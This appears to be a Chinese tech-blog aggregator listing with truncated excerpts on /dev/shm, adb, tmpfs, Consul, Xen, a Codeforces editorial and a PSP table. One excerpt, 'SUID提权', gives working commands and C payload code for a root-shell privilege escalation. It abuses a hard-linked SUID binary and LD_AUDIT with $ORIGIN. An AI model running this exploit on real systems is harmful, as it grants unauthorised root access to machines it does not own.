tmp

linux下的/dev/shm[转]

社会主义新天地 提交于 2019-12-01 17:08:29
/dev/shm/是linux下一个非常有用的目录,因为这个目录不在硬盘上,而是在内存里。因此在linux下,就不需要大费周折去建ramdisk,直接使用/dev/shm/就可达到很好的优化效果。 /dev /shm/需要注意的一个是容量问题,在linux下,它默认最大为内存的一半大小,使用df -h命令可以看到。但它并不会真正的占用这块内存,如果/dev/shm/下没有任何文件,它占用的内存实际上就是0字节;如果它最大为1G,里头放有 100M文件,那剩余的900M仍然可为其它应用程序所使用,但它所占用的100M内存,是绝不会被系统回收重新划分的,否则谁还敢往里头存文件呢? 默认的最大一半内存大小在某些场合可能不够用,并且默认的inode数量很低一般都要调高些,这时可以用mount命令来管理它。 mount -o size=1500M -o nr_inodes=1000000 -o noatime,nodiratime -o remount /dev/shm 在2G的机器上,将最大容量调到1.5G,并且inode数量调到1000000,这意味着大致可存入最多一百万个小文件。 为当/dev/shm空间不够时可以占用swap的空间,所以不用担心存储空间不够用。想想看,从磁盘IO操作到内存操作,php读写SESSION的速度会快多少?只是需要注意, 存储在/dev/shm的数据

Android系统adb_shell命令大全

我是研究僧i 提交于 2019-12-01 17:02:04
adb介绍 SDK的Tools文件夹下包含着Android模拟器操作的重要命令adb,adb的全称为(Android Debug Bridge就是调试桥的作用。通过adb我们可以在Eclipse中方面通过DDMS来调试Android程序。借助这个工具,我们可以管理设备或手机模拟器的状态。还可以进行以下的操作: 1、快速更新设备或手机模拟器中的代码,如应用或Android 系统升级; 2、在设备上运行shell命令; 3、管理设备或手机模拟器上的预定端口; 4、在设备或手机模拟器上复制或粘贴文件; adb在集成开发环境中的工作 adb的工作方式比较特殊采用监听Socket TCP 5554等端口的方式让IDE和Qemu通讯,默认情况下adb会daemon相关的网络端口,所以当我们运行Eclipse时adb进程就会自动运行。 1.通过adb可以轻松的执行Linux Shell命令,如adb shell dir 就是列举目录,在Linux中根目录为/而不是Windows上的C盘、D盘。 2.安装apk程序到模拟器则执行adb install android123.apk,这样名为android123的安装包就会安装到Android模拟器中,前提是android123.apk文件需要放到SDK/Tools目录下。 3.向emulator传送文件, 使用adb push android123

SUID提权

浪尽此生 提交于 2019-12-01 16:50:18
查看tmp目录权限 ll -d /tmp 切换到tmp目录 cd /tmp 创建一个exploit目录 mkdir exploit 查看ping命令带suid权限 ll /bin/ping 创建target文件硬链接 ln /bin/ping /tmp/exploit/target 查看target文件权限 ll /tmp/exploit/target 把target文件加载到内存中 exec 3< /tmp/exploit/target 查看target在内存中的情况 "ll /proc/$$/fd/3" 删除target文件 rm -rf /tmp/exploit/ 查看target在内存中的情况是删除状态 "ll /proc/$$/fd/3" 创建一个c语言代码 vim payload.c void __attribute__((constructor)) init() // 两个下划线 { setuid(0); system("/bin/bash"); } 利用gcc编译这段代码 gcc -W -fPIC -shared -o /tmp/exploit payload.c 提升到root权限 LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 执行完,查看当前会话已经是root whoami 附

tmpfs详解

北城余情 提交于 2019-12-01 16:43:24
一,tmpfs介绍 1. tmpfs是一种虚拟内存文件系统,正如这个定义它最大的特点就是它的存储空间在VM里面( 什么是VM?后面介绍 ) 2. VM是由linux内核里面的vm子系统管理的东西,现在大多数操作系统都采用了虚拟内存管理机制 VM介绍 1.linux下面VM(virtual memory)的大小由 RM(Real Memory) 和 swap 组成 2.RM的大小就是物理内存的大小,而Swap的大小是由你自己决定的。Swap是通过硬盘虚拟出来的内存空间,因此它的读写速度相对RM(Real Memory)要慢许多,我们为什么需要Swap呢?当一个进程申请一定数量的内存时,如内核的vm子系统发现没有足够的RM时,就会把RM里面的一些不常用的数据交换到Swap里面,如果需要重新使用这些数据再把它们从Swap交换到RM里面。 如果你有足够大的物理内存,根本不需要划分Swap分区。 通过上面的说明,你该知道tmpfs使用的存储空间VM是什么了吧? 前面说过VM由RM+Swap两部分组成,因此tmpfs最大的存储空间可达(The size of RM + The size ofSwap)。但是对于tmpfs本身而言,它并不知道自己使用的空间是RM还是Swap,这一切都是由内核的vm子系统管理的。 二,怎样使用tmpfs呢? #mount -t tmpfs -o size=20m

linux删除文件的前n行

99封情书 提交于 2019-12-01 16:34:11
需求描述 :   今天看了一个系统的临时文件,有5.6G的大小,这个文件也没有用了,想要将大部分的文件都删除掉.   在此记录下删除的过程.删除前n行的记录. 操作过程 : 对于数据量比较大的情况(本例5800万行) 1.通过tail命令,将文件尾部的n行数据重定向到新的文件中 tail -n 30000 out.tmp > out.tmp.bak 2.然后删除旧的文件,将新的文件修改为原名字 rm out.tmp mv out.tmp.bak out.tmp 备注:这样的话文件out.tmp尾部的30000行就保存下来,之前的行就删除掉了.在我的测试环境中,out.tmp中的记录大概5800万+ 对于数据比较少的情况 1.查看文件中数据,确定要删除的数据 将第5行后面的都删除掉,也是通过-n来重定向 2.tail -n +k来实现该功能 [root@testvm01 ~]# wc -l install.log 249 install.log [root@testvm01 ~]# tail -n +5 install.log > install.log.tmp #将第5行之后的内容重定向到另外一个临时文件中 [root@testvm01 ~]# rm -f install.log [root@testvm01 ~]# mv install.log.tmp install.log

consul生产实战

孤人 提交于 2019-12-01 15:58:21
pwd:/home/appadmin wget https://releases.hashicorp.com/consul/1.6.1/consul_1.6.1_linux_amd64.zip unzip consul_1.6.1_linux_amd64.zip mkdir /tmp/consul mkdir /tmp/consul.d ./consul agent -server -ui -bootstrap-expect=3 -config-dir=/tmp/consul.d -data-dir=/tmp/consul -node=v9prod1 -bind=10.13.70.7 -bind=0.0.0.0 -client=0.0.0.0 -datacenter=Vietnam ./consul agent -server -ui -bootstrap-expect=3 -config-dir=/tmp/consul.d -data-dir=/tmp/consul -node=v9prod2 -bind=10.13.70.8 -bind=0.0.0.0 -client=0.0.0.0 -datacenter=Vietnam ./consul agent -server -ui -bootstrap-expect=3 -config-dir=/tmp/consul.d -data

Codeforces Global Round 5 部分题解

妖精的绣舞 提交于 2019-12-01 15:51:36
tourist的劲题,掉了17分,着实心痛,本来是有分可恰到的 A、给你一个数列 \(a\) ,你需要构造一个数列 \(b\) ,使得每一个 \(b\) 都等于 \(a/2\) ,向上或向下取整由你决定 并且还要使得 \(\sigma b\) 的总和等于0 数据是保证有解的 那么我们就令所有 \(b\) 等于 \(\lfloor a/2 \rfloor\) ,求出总和 再遍历一遍数组,sum过大则把某些负数调整为向上取整,否则把正数调整 代码: #include <bits/stdc++.h> #define int long long #define sc(a) scanf("%lld",&a) #define scc(a,b) scanf("%lld %lld",&a,&b) #define sccc(a,b,c) scanf("%lld %lld %lld",&a,&b,&c) #define scs(a) scanf("%s",a) #define schar(a) scanf("%c",&a) #define pr(a) printf("%lld",a) #define fo(i,a,b) for(int i=a;i<b;++i) #define re(i,a,b) for(int i=a;i<=b;++i) #define rfo(i,a,b) for(int i=a

@codeforces - 1056G@ Take Metro

冷暖自知 提交于 2019-12-01 13:44:49
目录 @description@ @solution@ @accepted code@ @details@ @description@ 环上有 n 个点,按顺时针顺序以 1 到 n 编号。其中 1~m 号点是红色的,m+1~n 号点时蓝色的。 一开始你位于点 s,并给定一个 t。 你需要重复以下步骤,直到 t = 0: 如果你所在结点为红色,顺时针移动 t 个点;否则逆时针移动 t 个点。然后 t 减一。 求最终所在的结点编号。 Input 第一行包含两个整数 n 和 m (3≤n≤10^5, 1≤m<n),含义见上。 第二行包含两个整数 s 和 t (1≤s≤n, 1≤t≤10^12),含义见上。 Output 仅输出一个整数,表示最终所在的结点编号。 Examples Input 10 4 3 1 Output 4 Input 10 4 3 5 Output 4 @solution@ 不难想到当 x > n 时,我们等价于走 x mod n 步(n 步相当于绕一个圈子)。 于是我们可以预先走 t mod n 步,之后每一次就走 n 步(即走 n, n - 1, ..., 1 步),重复 t / n 次。 我们可以预处理每个点走 n, n - 1, ..., 1 步所到达的目的地,然后就可以倍增了。 接着考虑怎么预处理每个点走 n, n - 1, ..., 1 步所到达的目的地

xen-3.3.1安装

耗尽温柔 提交于 2019-12-01 12:16:10
环境:主机的操作系统是XP,安装VMware,在vmware上安装centos5.3,在centos5.3上安装xen。以下内容大多转载自 http://blog.csdn.net/jcwkyl . 1。从 http://www.xen.org/download/index_3.3.1.html 下载xen-3.3.1.tar.gz和linux-2.6.18-xen-3.3.0.tar.gz。在xp下下载放在和虚拟机centos5.3共享的文件夹下。我是sharexen(前一篇有如何设置共享文件夹)。 2.启动VMware打开centos5.3。以root用户登录。 # cd /usr /local # mkdir Xen-3.3.1 # cd Xen-3.3.1/ # cp /mnt/hgfs/sharexen/xen-3.3.1.tar.gz /usr/tmp # cp /mnt/hgfs/sharexen/linux-2.6.18-xen-3.3.0.tar.gz /usr/tmp # tar zxvf /usr/tmp/xen-3.3.1.tar.gz # tar zxvf /usr/tmp/linux-2.6.18-xen-3.3.0.tar.gz 解压结束后会多出两个文件xen-3.3.1和linux-2.6.18-xen-3.3.0 安装过程主要的几份参考文档来自:

软工第四次作业:结对编程

China☆狼群 提交于 2019-12-01 11:46:28
Github项目 Github地址 结对伙伴 伙伴1地址 、 伙伴2地址 PSP表格 PSP2.1 Personal Software Process Stages 预估耗时(分钟) 实际耗时(分钟) Planning 计划 60 60 · Estimate · 估计这个任务需要多少时间 1440 1500 Development 开发 120 180 · Analysis · 需求分析 (包括学习新技术) 60 60 · Design Spec · 生成设计文档 30 40 · Design Review · 设计复审 (和同事审核设计文档) 20 40 · Coding Standard · 代码规范 (为目前的开发制定合适的规范) 20 20 · Design · 具体设计 180 180 · Coding · 具体编码 720 800 · Code Review · 代码复审 180 200 · Test · 测试(自我测试,修改代码,提交修改) 100 120 Reporting 报告 30 40 · Test Report · 测试报告 20 20 · Size Measurement · 计算工作量 20 30 · Postmortem & Process Improvement Plan · 事后总结, 并提出过程改进计划 40 60 合计 3040 3350